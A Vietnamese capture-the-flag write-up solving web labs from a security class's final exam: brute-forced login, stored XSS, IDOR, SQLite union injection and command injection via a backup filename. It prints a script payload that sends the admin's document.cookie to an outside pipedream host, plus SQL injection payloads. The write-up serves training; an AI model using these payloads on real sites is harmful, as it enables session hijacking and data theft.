Final Exam Blind Hacking 0x01

Final Exam Blind Hacking 0x01

Final Exam Blind Hacking 0x01 không phải là một giải mà đúng hơn thì nó là bài test đầu ra của lớp mà Cookie hân hoan mở. Trong đây có tất cả là 6 lab, 5 lab web và 1 lab misc. Vậy thì bắt đầu bước vào giải hết các lab thôi.

K01FE Sanity Check

Bài misc này chắc là để test và xác định lại dạng của flag thôi. Cho ai chưa biết thì trong Cookie Hân Hoan thì flag có dạng là CHH{}

K01FE Flag 1

Với description là đăng nhập tài khoản của Harry thì mình vào xem mặt ngang mũi dọc của web nó ra sao thôi

Web này thì có 3 chức năng chính là xem blogs, đăng kí và đăng nhập. Vậy thì đăng ký thử một cái tài khoản để xem nó hoạt động ra sao cái nhỉ

Đây là toàn bộ chức năng của một người dùng bình thường.

  • Blogs ⇒ Xem các bài viết

  • Feedback ⇒ Gửi message đến cho admin và admin sẽ đọc nó mỗi 3 phút

  • Update Profile ⇒ Thay đổi thông tin các nhân

  • Change Password ⇒ Đổi pass

  • Logout

Vậy giờ mình bắt đầu đi xem từng chức năng của nó.

Với chức năng đầu tiên là xem blogs thì nó sẽ có nội dung kèm với các thông tin về bài viết như tác giả của bài viết đó, public hay private

Nhưng cái mình để ý ở đây là có email của Harry kìa :vvv

Nhìn ngược lại về quá khứ một chút thì khi mình đăng nhập thì web sẽ yêu cầu là phải nhập email và password

Vậy là giờ mình đã thu thập được email của Harry rồi vậy password ở đâu????

Theo như mình đoán thì password nó sẽ phải dễ đoán như là: admin, 123, abcxyz,… nói chung là nó rất dễ để đoán được. Giờ mình sẽ dùng BurpSuite và một list password dễ dùng để thử xem có được không

Có thật luôn này, giờ cần login và lấy flag trong này thôi.

Chắc có nhiều bạn đến đây hỏi tải sao với login này thì mình lại không thử SQLi thì bởi vì mình đã thử một vài payload để xác định SQLi nhưng đều thất bại

K01FE Flag 2

Với lab2 này thì mình cần đăng nhập vào Admin. Theo mình trong loại bài như này thì sẽ có 2 cách để vào được tài khoản của admin:

  • Thứ nhất là tìm được email và password của admin, có thể thử như cách của lab1

  • Thứ hai là lấy được cookie của admin

Với cách đầu tiên mình đã thử và không thành công, vậy thì sẽ làm đến cách thứ hai. Giờ sẽ có vấn đề là sao để lấy được cookie của admin đây?????

Xâu chuỗi lại các chức năng thì mình có thấy chức năng feedback đó có khả năng nhất vì admin sẽ đọc nó mỗi 3 phút. Ok xác định được feedback thì giờ sẽ tìm xem nó bị lỗi gì.

Để đánh cắp cookie thì cái đầu tiên mình nghĩ đó là XSS vào thử luôn thôi

Chức năng feedback này chỉ có 1 chỗ mình inject vào đó là message này, vậy thì thử cho nó một payload đơn giản của XSS xem sao

Lúc này thì mình chả thấy gì xuất hiện cả NHƯNG lại có một cái khá là hay ho ở đây

Mình thử vào feedback đó và BOOMMMMM

OK đã xác định được attack surface. Sau đó mình cũng thử tag script xem có bị chặn không và tất nhiên nó cũng không bị filter. Giờ mình sẽ phải suy nghĩ xem làm sao để cho mỗi lần admin vào đọc bài này sẽ gửi cho mình cookie của admin và đây là payload đầu tiên của mình:

<script>
    fetch('https://eomhvt4xjyv7x2p.m.pipedream.net',{method:'POST',body:document.cookie});
</script>

Với cái payload này thì mỗi khi admin vào đọc nó sẽ gửi đến cái host kia của mình một POST request với nội dung là document.cookie. Việc của mình là chờ đợi đến khi admin vào đọc bài feedback này của mình thôi

Body của request này chính là cookie của admin rồi, việc cần làm bây giờ là thay cookie đó thôi và đây là sau khi refresh lại trang

K01FE Flag 3

Mình thấy hơi buồn hoặc có thể mình không hiểu dụng ý của tác giả. Vì bài thứ 2 đã là truy cập vào admin rồi thì mình có thể đọc được hết bài viết của admin mà :))) Nhưng mình sẽ giải bài này với account của 1 người thường để cho nó vui hơn chút (thực ra lúc mình làm là mình vào admin rồi đọc đó)

Lại lướt lướt chức năng của web một lần nữa thì mình thấy mỗi khi đọc một bài blog thì trên URL sẽ có id của bài đó

Mấy số này dễ đoán quá, toàn số tuyến tính vậy thì bây giờ nếu mình thử những id bài viết đã bị ẩn đi thì như nào nhỉ.

Ồ vậy là bị chặn rồi

Nhưng có một chức năng mà mình chưa thử đó là “Create Blog”

Đây là một blog sau khi mình vừa post lên

Mình thử chức năng edit thì lại cũng thấy có truyền theo id luôn

Lại thử thay số tiếp, vì mình thấy cái bài mới của mình có id là 22 thì chắc giờ mới có tối đa là 22 bài :V Vậy thì mình thử cái số 21 luôn và

Yes sir, với bài này thì sau khi vào admin rồi mình cũng có thể lấy được nhanh hơn nhưng mà với các này thì nó đã là một lỗi nữa. Lỗi này người ta gọi là IDOR và trên blog của công ty mình cũng đã có một bài về thay số như này, nếu ai muốn đọc có thể vào đây để đọc nhé!

K01FE Flag 4

Với description như này thì chắc chắn nó là SQLi rồi. Mình nhìn lại một chút ở tài khoản user thường xem có chức năng nào tương tác với DB mà có thể bị SQLi không nào:

  • Login ??? ⇒ Mình đã test và chưa thấy

  • Register ???? ⇒ Mình cũng đã test và không thấy

Đó là 2 chức năng trên account normal user mà mình nghĩ nó có thể bị SQLi. Vậy giờ sẽ chuyển qua account của admin

Có thêm chức năng là:

  • Search

  • Backup Database

Mình nghi chức năng search là có khả năng nhất nên test trước luôn

Mình search như này và thấy nó có kết quả như vậy thì chưa thể xác định được nó là SQL giờ mình thử thêm dấu nháy đơn, nháy đôi các thứ xem sao

Với nháy đôi thì vẫn hoạt động bình thường

Nhưng khi search với nháy đơn

WOWW, nó đã có lỗi. Nhưng vẫn chưa khẳng định được. Mình test tiếp

Ok đến đây thì mình chắc chắn chỗ này bị SQLi rồi. Trong đầu có tưởng tượng ra một câu query như này:

SELECT * FROM <bang_blog> WHERE <ten_blog> LIKE '%<cai_minh_truyen_vao>%'

Vậy thì mình sẽ inject nó để gây nhầm lẫn cho câu query này. Đầu tiên mình sẽ phải xác định xem nó có bao nhiêu cột và dùng dbms gì.

Khi mình order by đến cột thứ 4 thì bắt đầu lỗi vì vậy bảng này có 3 cột Thử một hồi thì mình thấy nó đang dùng SQLite

Tiếp theo là sẽ tìm các cột được hiển thị ra ngoài

Như vậy là cột thứ 2 sẽ là cái chỗ mình hiển thị những cái mình mong muốn

Giờ mình cần là sẽ lấy được tên các bảng để xác định xem flag ở chỗ nào

Payload:

abcab' union select 1,group_concat(tbl_name),3 FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'-- -

Tiếp theo mình sẽ xem trong bảng flag kia (khả năng cao sẽ chứa flag) có những cột gì

Payload:

abc' union SELECT 1,sql,3 from sqlite_master--

Có thông tin các cột trong các bảng ở trên rồi giờ mình chỉ cần lấy flag là xong lab này thôi

Một người anh của mình cũng đã có một bài SQL trong bug bounty, bạn nào có hứng thú thì có thể vào đây để xem người anh zai của mình đã làm gì với lỗi SQLi này nhé.

K01 Start Me Now

Đây là bài cuối cùng cũng là bài mình mất nhiều thời gian vào nó nhất và bắt đầu vào bài này thôi

Muốn đọc được file /flag.txt này thì mình có mấy hướng như này để giải quyết

  • RCE

  • Command injection

  • Dùng SQL để đọc file (Vì mình đã từng làm một bài cũng SQLite và dùng lỗi đó để đọc file)

Và đi từ cái đơn giản nhất là tìm về command injection (nguyên nhân mình không bắt đầu đi từ SQLi mà lại còn là SQLite nữa thì đọc file nó phải là level đỉnh vcl rồi và nó phức tạp vcđ luôn)

Nãy giờ đã thử gần hết các chức năng rồi còn đúng một chức năng nữa đó là “Backup” là mình chưa dùng thôi

Chức năng này thì nó backup lại và thêm cái đuôi .db ra như này

Mình đã tưởng tượng trong đầu nó là một câu lệnh zip trong server cơ nhưng sau một hồi nghĩ và thử lại thì thấy không được.

Giờ sẽ xâu chuỗi lại những gì mình có để xem có thể làm gì ở đây nhé:

  • Đầu tiên là mình nhập tên file backup đó ⇒ Vì mình kiểm soát được nên nó là unstrusted data

  • Server sẽ trả về filename mình input kèm theo một cái đuôi .db

  • Mình không thể vào xem nội dung của file .db đó

Đây là những cái mình nghĩ là mình có hiện tại. Các bạn có thấy cái gì ở trên có thể tận dụng được không????

Đúng vậy filename. Cái này mình kiểm soát và cũng server cũng trả về cái tên này :)))

Đến đây thì mình có một câu hỏi là “Có thể đặt tên file là nội dung của file flag.txt mà mình đang thèm muốn kia không????”

Câu trả lời là “Sao lại không nhỉ?”. Thế thì câu hỏi tiếp theo sẽ là “Vậy làm thế nào để đọc được nội dung file flag.txt đó rồi để nó là filename bây giờ?”

Giờ thì chỉ có thể thử mới biết được cách nào thôi

Mình đã thử input như này

Và kết quả là

:vvvvv OK thế là có flag rồi chứ còn gì nữa. Còn nếu ai chưa biết thì cái $(command) này chính là Command Substitution. Ngoài cách dùng như kiểu này thì còn có thể dùng `command` như này nữa.

Giờ đọc flag thôi nhỉ

Với lỗi command injection này thì có thể làm nhiều việc hơn là đọc nội dung flag :v Và vẫn như cấu nói ở bài blog trước thì nhiều như nào phải tùy vào mỗi khả năng của mỗi người

TỔNG KẾT

Vậy là đã giải xong 6 bài nhưng có lẽ chỉ là 5 bài :V Qua 5 bài này thì mình đã ôn lại được nhiều khá là nhiều kiến thức về các lỗ hổng mà mình đã học. Rất cảm ơn Cookie Hân Hoan đã có nhiều bài vừa sức với mình như này vì mấy bài trong challenge mình toàn vote Brain Fuck vì nó quá khó :))) Chúc cho Cookie Hân Hoan mở nhiều lớp hơn và có nhiều challenge hơn nữa ❤️